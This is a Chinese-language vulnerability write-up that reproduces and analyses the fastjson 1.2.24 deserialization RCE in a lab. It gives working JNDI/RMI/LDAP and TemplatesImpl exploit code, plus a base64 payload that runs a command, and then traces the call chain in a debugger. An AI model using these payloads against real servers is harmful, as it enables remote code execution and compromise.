環境搭建:
漏洞影響版本:
fastjson在1.2.24以及之前版本存在遠程代碼執行高危安全漏洞
環境地址:
https://github.com/vulhub/vulhub/tree/master/fastjson/vuln
正常訪問頁面返回hello,world~
此時抓包修改content-type為json格式,並post payload,即可執行rce
此時就能夠創建success文件
漏洞復現(rmi+ldap):
RMI:
package person.server;
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class JNDIServer { public static void start() throws AlreadyBoundException, RemoteException, NamingException { Registry registry = LocateRegistry.createRegistry(1099); //rmi服務器綁定1099端口 Reference reference = new Reference("Exploit", "Exploit","http://127.0.0.1:8080/"); //請求本地8080端口 ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("Exploit",referenceWrapper); //綁定工廠類,即rmi將去本地web目錄下去找Exploit.class } public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { start(); } }
比如此時先本地起一個rmi服務器
exp:
package person;
import com.alibaba.fastjson.JSON; public class JdbcRowSetImplPoc { public static void main(String[] argv){ testJdbcRowSetImpl(); } public static void testJdbcRowSetImpl(){ String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," + " \"autoCommit\":true}"; JSON.parse(payload); } }
然后指定rmi的地址,觸發payload解析,從而calc,其中Exploit.class不要帶包名,
這里java版本用的是1.8.0,用1.8.0_202中要設置trustCodebase選項,也就是做了一定的限制,直接從外部加載類的話是不被允許的
用mashalsec起rmi服務:
此時也能夠calc
ldap:
用marshalsec在本地起一個ldap服務,然后將Exploit.class放到啟動的當前目錄下
然后本地先測試一下1.8.0版本的jdk能否直接從ldap加載exploit.class
public static void testLdap(){
String url = "ldap://127.0.0.1:1389"; Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory"); env.put(Context.PROVIDER_URL, url); try{ DirContext dirContext = new InitialDirContext(env); System.out.println("connected"); System.out.println(dirContext.getEnvironment()); Reference e = (Reference) dirContext.lookup("e"); }catch(NameNotFoundException ex){ ex.printStackTrace(); }catch(Exception e){ e.printStackTrace(); } }
exp:
public class JdbcRowSetImplPoc {
public static void main(String[] argv){ testJdbcRowSetImpl(); } public static void testJdbcRowSetImpl(){ String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\"," + " \"autoCommit\":true}"; JSON.parse(payload); } }
直接通過ldap加載沒問題,可以calc
前置知識:
研究這個漏洞之前,先熟悉一下阿里的這個fastjson庫的基本用法
package main.java; import java.util.HashMap; import java.util.Map; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.serializer.SerializerFeature; import main.java.user; public class test_fast_json { public static void main(String[] args){ Map<String,Object> map = new HashMap<String, Object>(); map.put("key1","one"); map.put("key2","two"); //System.out.println(map.getClass()); String mapjson = JSON.toJSONString(map); System.out.println(mapjson.getClass()); user user1 = new user (); user1.setName("111"); System.out.println(JSON.toJSONString(user1)); String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName); System.out.println("serializedStr1="+serializedStr1); user user2=(user)JSON.parse(serializedStr1); System.out.println(user2.getName()); Object obj = JSON.parseObject(serializedStr1); System.out.println(obj); System.out.println(obj.getClass()); Object obj1 = JSON.parseObject(serializedStr1,Object.class); //user obj1 = (user) JSON.parseObject(serializedStr1,Object.class); user obj2 = (user)obj1; System.out.println(obj2.getName()); System.out.println(obj2.getClass()); } }
//輸出
class java.lang.String {"age":0,"name":"111"} serializedStr1={"@type":"main.java.user","age":0,"name":"111"} 111 {"name":"111","age":0} class com.alibaba.fastjson.JSONObject 111 class main.java.user
這里user為定義好的一個類,實際上fastjson提供給我們的也就是將對象快速轉換為可以傳輸的字符串,當然也提供從字符串中恢復出對象,也就是一個序列化和反序列化的過程,
可以從輸出看到,JSON.toJSONstring實際上是將類的屬性值轉化為字符串,當JSON.toJSONstring帶有writeclassname時此時字符串中將包含類名稱及其包名稱,所以此時可以定位到某個類以及其實例化對象的屬性值,再通過JSON.parse()函數即可通過fastjson序列化后的字符串恢復該類的對象,當恢復對象時,使用JSON.parseObject帶有Object.class時,此時能夠成功恢復出類的對象,否則只能恢復到JsonObject對象
漏洞分析:
這個漏洞利用方式有好種,這篇文章主要分析利用templatesImlp這個類,這個類中有一個_bytecodes字段,部分函數能夠根據這個字段來生成類的實例,那么這個類的構造函數是我們可控的,就能夠rce
test.java
package person; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Test extends AbstractTranslet { public Test() throws IOException { Runtime.getRuntime().exec("calc"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } }
test.java在這里的話主要是用戶parseObject json反序列化時所要還原的類,因為在這會實例化該類,因此直接在其構造方法中calc即可
poc.java
package person; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.io.IOUtils; import org.apache.commons.codec.binary.Base64; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException; public class Poc { public static String readClass(String cls){ ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); //將test.class字節碼文件轉存到字節數粗輸出流中 } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); } public static void test_autoTypeDeny() throws Exception { ParserConfig config = new ParserConfig(); final String fileSeparator = System.getProperty("file.separator"); final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\person\\Test.class"; String evilCode = readClass(evilClassPath); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; //autotype時反序列化的類 String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evilCode+"\"]," + //將evilcode放在_bytecodes處 "'_name':'a.b'," + "'_tfactory':{ }," + "\"_outputProperties\":{ }}\n"; System.out.println(text1); //String personStr = "{'name':"+text1+",'age':19}"; //Person obj = JSON.parseObject(personStr, Person.class, config, Feature.SupportNonPublicField); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); //pareseObject來反序列化,此時要設置SupportNonPublicField
public static void main(String args[]){ try { test_autoTypeDeny(); } catch (Exception e) { e.printStackTrace(); } } }
我們已經知道在反序列化解析json字符串時在parseobject時觸發
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQANTHBlcnNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAHAAgHACcMACgAKQEABGNhbGMMACoAKwEAC3BlcnNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADwAEABAADQARAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQABAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAFQALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAAAAAQAWABcAAwABABAAGAACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAGgALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABkAGgACAA4AAAAEAAEAGwABABwAAAACAB0="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}
在此下斷點,運行poc.java
此時首先調用com/alibaba/fastjson/JSON.java的parseObject函數來處理我們傳入的payload
此時判斷我們傳入的features是否為null,這里
我們已經制定了支持非publicfield屬性,因為使用的_bytescode實際為非public的,否則無法反序列化,接着調用defaultJsonParser來進一步處理payload
此時進一步調用javaObjectDeserializer,也就是反序列化時所使用的反序列化引擎,繼續跟進
此時在javaObjectDeserializer的deserialze函數中將判斷type的類型是不是泛型數組類型的實例以及判斷type是不是類類型的實例,這里兩處不滿足,所以調用parse.parse來解析
實際上此時又回到了
並且在此調用parseObject函數來處理我們的payload
接下來一部分就是語法解析,先匹配出了其中的雙引號",
比如先在parseObject函數中匹配出了@type
匹配出@type標志以后,將會繼續向后掃描json字符串,即取匹配相應的值,這個值也就是我們想要反序列化的類
繼續往下走,將調用deserializer.deserialze函數來處理反序列化數據,此時deserializer中已經包含了要實例化的templatesimpl類,
跟進此函數,則可以看到此時token為16並且text為我們的payload
接下來會調用parseField函數來對json字符串中的一些key值進行匹配
這個方法里面會調用smartmatch來對key值進行一些處理,比如將_bytecodes的下划線刪除
當處理到_outputProperties字段時,步入其smartMatch方法
此時在FieldDeserializer中將會調用setValue方,此時將會在其中調用getOutputProperties()方法,因為存在OutputProperties屬性
此時在TemplatesImpl類的getOutputProperties函數中將會調用newTransformer().getOutputProperties函數,在newTransformer函數中又調用了getTransletInstance()函數,
這里首先判斷_name字段不能為空,這也是為啥payload里面會設置一個_name字段
接下來就會調用newInstance()函數來實例化對象了,可以看到此事要求實例化的對象時AbstractTranslet類的,那么只需要讓我們的payload中的類繼承自該類即可,
可以看到此時_transletIndex為零,因此此時實例化的就是我們構造的惡意類,
縮減后的整個調用鏈即為:
JSON.parseObject ... JavaBeanDeserializer.deserialze ... FieldDeserializer.setValue ... TemplatesImpl.getOutputProperties TemplatesImpl.newTransformer TemplatesImpl.getTransletInstance ... Runtime.getRuntime().exec
參考:
http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/
https://www.freebuf.com/vuls/178012.html
https://www.anquanke.com/post/id/173459#h2-10